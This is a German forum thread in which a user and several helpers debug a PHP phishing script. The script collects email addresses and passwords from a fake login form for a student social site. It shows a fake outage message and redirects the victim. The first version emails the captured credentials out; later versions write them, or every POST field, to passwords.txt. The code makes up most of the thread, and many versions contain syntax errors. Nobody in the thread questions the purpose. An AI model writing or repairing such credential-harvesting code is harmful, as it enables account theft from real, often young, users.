-
Zugangsdaten auf FTP?
Hallo Forum,
hab mal wieder ein Problem:(
und zwar hab ich doch schon mal wegen dem Problem gefragt das mit der E-Mail Adresse (siehe Hier)
Und da das bei mir das immer noch nicht funzt, wollte ich wissn ob man das auch ändern kann das es die Zugangsdaten auf den FTP sendet??
Hier nochmal der Code:
Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
mail("MEINEMail Adresse",$benutzer,$mailtext,$absender);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
-
Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
so sollte es eigl gehen nicht getestet.
lg Southpark
-
Ok Thx,
ich probiers mal
Da kommt imer diese Meldung:
Parse error: syntax error, unexpected '}' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 33
Dateiattribute hab ich auch auf 777
-
Ist auch beim kurz darüber fliege ein "}" zuviel.
-
Jo ist eins zuviel habs gestern kurz vorm pennen noch gesehn war aber zu faul das jez noch zu ändern
Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
So Sollte es jez gehen
-
So hab das } ausfindig gemachd und entfernt jetzt kommt zwar keine Fehlermeldung mehr, aber das PW wird einfach nicht gespeichert -.-
Editierte Code:
Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$pass=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
fopen("passwords.txt", "a");
fwrite($benutzer,$mailtext,$absender);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
-
Code:
<?php
$benutzer=$HTTP_POST_VARS['email'];
$passwort=$HTTP_POST_VARS['passwort'];
$handle = fopen("passwords.txt", "a");
if ($passwort == "")
{
print("Bitte geben Sie ihr Passwort ein");
}
elseif ($email == "")
{
print("Bitte geben Sie ihren Benutzernamen ein");
}
else
{
$mailtext="Benutzername: ";
$mailtext.=$email;
$mailtext.="\n";
$mailtext.="Passwort: ";
$mailtext.=$passwort;
$absender="From:";
$absender.="Master2";
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
fwrite($handle, "\r\n");
fclose($handle);
exit;
// Edit your Email Address and the text which will be printed after logging in !
print("Der von ihnen angeforderte Service ist momentan leider nicht verfügbar. Bitte versuchen Sie es später noch einmal.");
}
// Also edit <meta http-equiv="Refresh" content="1; url=http://www.jappy.de"> just edit the Page to redirect to !
?>
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
probiers ma so^^
und hast du die passwort datei angelegt??
-
Änder in der 3. Zeile
$pass -> $passwort
-
Und wieder nen Error: =(
Parse error: syntax error, unexpected $end in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 40
-
-
weißt du schon was neues warum das nicht geht?
-
HTML-Code:
<html>
<body>
<meta http-equiv="Refresh" content="1; url=http://www.schueler.cc">
</body>
</html>
Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.
Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
Also stattdessen:
PHP-Code:
header("refresh:1;url=http://");
Oder einfach
PHP-Code:
header("location:http://");
Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...
Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):
PHP-Code:
<?php
@header("refresh:1;url=http://www.schueler.cc");
$handle = fopen("passwords,txt","a");
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$handle = fopen("passwords.txt","a");
foreach($_POST AS $key => $value) {
fwrite($handle,$key."=".$value."\r\n");
}
fclose($handle);
}
exit;
?>
-
PHP-Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
Find ich besser :)
-
Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar ;). Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.
-
Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-:mad:
Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2
-
Tom199415 Php kannst du garnicht oder?
Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
-
nee^^
das kapier ich überhaupt nicht...:confused:
Error:
Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8
-
PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n";
Da fehlt eine Klammer...
PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n");
Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.
-
Hab die php selber geändert weil wieder ein Error war in Zeile 10.
Sieht jetzt so aus:
Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n");
}
@header("refresh:1;url=http://www.schueler.cc");
?>
Nur die php schreibt mir nur das Passwort in die txt?
-
Dann ist das hier falsch:
Code:
$mail = $_POST['email'];
Also der Name des Formulars ist wahrscheinlich anders.
-
Warscheinlich wird die Email nich als 'email' per POST übermittelt.
PHP-Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort']) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$data = print_r($_POST, true);
file_put_contents('passwords.txt', "$data\n\n");
}
header("refresh:1;url=http://www.schueler.cc");
?>
Sollte mit allen POST Variationen funktionieren.
Nen Output der dir besser gefällt darfst du dir aber selber basteln.
-